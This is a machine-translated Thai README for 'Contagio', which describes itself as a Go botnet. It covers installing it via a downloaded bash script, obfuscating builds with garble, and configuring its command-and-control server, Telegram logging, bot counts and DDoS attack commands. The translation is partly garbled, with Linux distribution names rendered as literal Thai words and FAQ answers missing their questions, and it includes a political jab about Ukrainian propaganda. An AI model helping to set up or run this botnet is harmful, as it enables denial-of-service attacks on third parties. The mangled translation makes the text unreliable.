เวอร์ชันปิด C++: https://github.com/TryZeroOne/Contagio-closed
Contagio เป็นบอทเน็ตที่เขียนในภาษา Go นี้เป็นรุ่นเบต้าดังนั้นอาจมีข้อบกพร่อง อ่านคำถามที่พบบ่อยและเอกสารประกอบก่อนที่จะสร้างปัญหา อย่าเชื่อโฆษณาชวนเชื่อของยูเครน
การติดตั้ง
ระบบที่รองรับ
เอกสารประกอบ
คำถามที่พบบ่อย
การบริจาค
| ระบบปฏิบัติการ | สถานะ |
|---|---|
| ลินุกซ์ | |
| หน้าต่าง | |
| ระบบปฏิบัติการ macOS |
การแจกแจงลินุกซ์
| ดิสโทร | สถานะ |
|---|---|
| โค้ง | |
| มันจาโร | |
| หมวกฟาง | |
| เซนโตส | |
| อูบุนตู |
ข้อมูลระบบสามารถพบได้ในภาพถ่ายในโฟลเดอร์ทรัพย์สิน
Contagio มีตัวติดตั้งของตัวเอง
wget https://raw.githubusercontent.com/TryZeroOne/Contagio/main/installer/installer.sh -O installer.sh
bash installer.sh -[args]
Example: bash installer.sh -default
อาร์กิวเมนต์:
| ทำความสะอาด | ติดตั้ง contagio โดยไม่ต้องติดตั้งการกำหนดค่าและธีมไว้ล่วงหน้า |
| ค่าเริ่มต้น | ติดตั้ง contagio ด้วยการกำหนดค่าและธีมที่ติดตั้งไว้ล่วงหน้า |
source ~/.bashrc
go install mvdan.cc/garble@latest
cd Contagio
go mod init contagio
go mod tidy
จากนั้นทำตามขั้นตอนจาก setup.txt
คู่มือการตั้งค่าเร็วๆ นี้...
| ชื่อ | พิมพ์ | คำอธิบาย |
|---|---|---|
ImportTheme | สตริง | นำเข้าธีม อ่านเพิ่มเติมเกี่ยวกับการปรับแต่งที่นี่ |
CncServer | สตริง | IP:พอร์ต. คุณต้องระบุ IP สาธารณะ หากต้องการรับ IP สาธารณะ ให้ป้อน curl http://ip-api.com/json/?fields=query |
RootLogin | สตริง | เข้าสู่ระบบที่มีสิทธิ์เข้าถึงคำสั่งของผู้ดูแลระบบ (addip, adduser ฯลฯ) |
RELEASE_MODE | บูล | ซ่อนบันทึก (เชื่อมต่อบอทใหม่ ส่งถังขยะแล้ว ฯลฯ) |
TelegramBotToken | สตริง | โทเค็นบอทโทรเลข |
TelegramChatId | สตริง | รหัสโทรเลขของคุณ / รหัสแชทของคุณ รับรหัส |
SaveLogsInFile | บูล | บันทึกบันทึกเป็นไฟล์หรือไม่? |
SendLogsInTelegram | บูล | ส่งบันทึกผ่าน Telegram bot ไปยังช่องทางหรือข้อความส่วนตัวหรือไม่ |
PrintLogsInTerminal | บูล | พิมพ์บันทึกในเทอร์มินัลหรือไม่ |
NewClientConnectedLog | บูล | เปิดใช้งานการบันทึกสำหรับการเชื่อมต่อใหม่กับ CNC |
NewClientConnectedFileName | สตริง | ชื่อไฟล์สำหรับบันทึกการเชื่อมต่อใหม่ |
NewAttackStartedFileName | สตริง | ชื่อไฟล์สำหรับบันทึกการโจมตีใหม่ |
AllowAllIps | บูล | อนุญาตที่อยู่ IP ทั้งหมดหรือไม่ หาก AllowAllIps=false เฉพาะที่อยู่ IP ที่เพิ่มผ่านคำสั่ง addip เท่านั้นจึงจะสามารถเชื่อมต่อกับ CNC ได้ |
โมดูลแบบกำหนดเองสามารถใช้ได้เฉพาะในชื่อเรื่องเท่านั้น ผลลัพธ์ของคุณจากเสียงสะท้อนจะปรากฏในชื่อเรื่อง โมดูลที่กำหนดเองประกอบด้วย:
[Modules.ModuleName]
Exec = "command to execute"
ExecEnv = "env"
ExecDir = "directory where the command is executed"
ต้องระบุเฉพาะ Exec เท่านั้น หากไม่ได้ระบุ ExecDir มันจะถูกดำเนินการจากไดเร็กทอรีที่เปิดใช้ CNC
คุณสามารถใช้ธีมว่าง หรือใช้ธีมที่มีอยู่แล้วก็ได้ คุณยังสามารถใช้สีได้
| ชื่อ | พิมพ์ | ตัวแปร | คำอธิบาย |
|---|---|---|---|
| [บันทึก] | |||
NewClientConnectedTerminal | สตริง | {ip} {login} {port} {date} | รูปแบบบันทึกในเทอร์มินัลสำหรับการเชื่อมต่อใหม่ |
NewClientConnectedTelegram | สตริง | {ip} {login} {port} {date} | รูปแบบบันทึกใน Telegram สำหรับการเชื่อมต่อใหม่ (คุณสามารถใช้ markdown) |
NewClientConnectedFile | สตริง | {ip} {login} {port} {date} | รูปแบบบันทึกในไฟล์สำหรับการเชื่อมต่อใหม่ |
NewAttackStartedTerminal | สตริง | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | รูปแบบบันทึกในเทอร์มินัลสำหรับการโจมตีครั้งใหม่ |
NewAttackStartedTelegram | สตริง | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | รูปแบบบันทึกใน Telegram สำหรับการโจมตีครั้งใหม่ |
NewAttackStartedFile | สตริง | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | รูปแบบบันทึกในไฟล์สำหรับการโจมตีครั้งใหม่ |
| [ซีเอ็นซี] | |||
CmdPrompt | สตริง | {login} | พรอมต์คำสั่งซีเอ็นซี |
Banner | สตริง (อาร์เรย์) | Null | แบนเนอร์. |
HelpCommand | สตริง | {command} {description} | วิธีใช้รูปแบบเอาต์พุตคำสั่ง |
MethodsCommand | สตริง | {name} {description} | รูปแบบเอาต์พุตคำสั่งเมธอด |
CustomMethodsEnabled | บูล | Null | เปิดใช้งานวิธีการแบบกำหนดเองหรือไม่ |
CustomMethods | สตริง (อาร์เรย์) | Null | วิธีการแบบกำหนดเอง (เปิดใช้งานเมื่อ CustomMethodsEnabled=true ) |
CustomHelpEnabled | บูล | Null | เปิดใช้งานความช่วยเหลือแบบกำหนดเองหรือไม่ |
CustomHelp | สตริง (อาร์เรย์) | Null | วิธีใช้แบบกำหนดเอง (เปิดใช้งานเมื่อ CustomHelpEnabled=true ) |
BotCount | สตริง | {total} {bots} | รูปแบบเอาต์พุตคำสั่งบอท |
NoBotsConnectedError | สตริง | Null | ข้อความแสดงข้อผิดพลาดเมื่อดำเนินการคำสั่ง "บอท" แต่ไม่มีบอทที่ใช้งานได้ |
CommandSent | สตริง | {bots} {id} | เอาท์พุตเมื่อส่งการโจมตีสำเร็จ |
UnknownCommandError | สตริง | Null | ข้อความแสดงข้อผิดพลาดเมื่อไม่ทราบคำสั่ง |
InvalidCommandSyntaxError | สตริง | {syntax} {example} | ข้อความแสดงข้อผิดพลาดเมื่อคำสั่ง (วิธี ddos) มีไวยากรณ์ไม่ถูกต้อง |
NoActiveAttacksError | สตริง | Null | ข้อความแสดงข้อผิดพลาดเมื่อไม่มีการโจมตีที่ใช้งานอยู่ (คำสั่งที่กำลังรัน) |
AttackIdNotFoundError | สตริง | Null | ข้อความแสดงข้อผิดพลาดเมื่อไม่พบ ID การโจมตี (คำสั่ง kill) |
CommandExecuted | สตริง | Null | ผลลัพธ์เมื่อดำเนินการคำสั่งสำเร็จ |
CommandInvalidSyntax | สตริง | {syntax} {example} | ข้อความแสดงข้อผิดพลาดเมื่อคำสั่งมีไวยากรณ์ไม่ถูกต้อง |
Title | สตริง | {login} {cpu} {memory} {animation} {bots} | ชื่อซีเอ็นซี |
| [รับรองความถูกต้อง] | |||
LoginPrompt | สตริง | Null | พร้อมท์เข้าสู่ระบบ |
PasswordPrompt | สตริง | Null | พร้อมท์รหัสผ่าน |
AuthError | สตริง | Null | ข้อความแสดงข้อผิดพลาดเมื่อรหัสผ่านหรือการเข้าสู่ระบบไม่ถูกต้อง |
CaptchaPrompt | สตริง | {code} | พรอมต์แคปต์ชา |
CaptchaError | สตริง | Null | ข้อความแสดงข้อผิดพลาดเมื่อป้อน captcha ไม่ถูกต้อง |
IpIsNotAllowedError | สตริง | Null | ข้อความแสดงข้อผิดพลาดเมื่อไม่อนุญาตให้ใช้ IP |
ใน Contagio มีสีในตัวให้เลือกใช้ และคุณสามารถสร้างสีของคุณเองได้
ควรเขียนสีด้วยเครื่องหมายปีกกา ตัวอย่างเช่น,
CncPrompt = "{red}Hello{white} World: "
หากต้องการสร้างสีของคุณเอง คุณต้องใช้สี ANSI ตัวอย่างเช่น:
{custom(fg=ansi_code bg=ansi_code fgstyle=ansi_code)}
ตอบ: ลองเพิ่ม r ที่ท้ายบรรทัด ตัวอย่างเช่น
PasswordPrompt = "Enter password: r"
หากไม่ได้ผล ให้สร้างปัญหา
ตอบ: ส่ง /newbot ไปยังบอท @BotFather จากนั้นตอบคำถามของเขาและคัดลอกโทเค็น (ตัวอย่างโทเค็น: 1234545:DDDDD__ASDADAHUQHHHI34I29I)
ตอบ: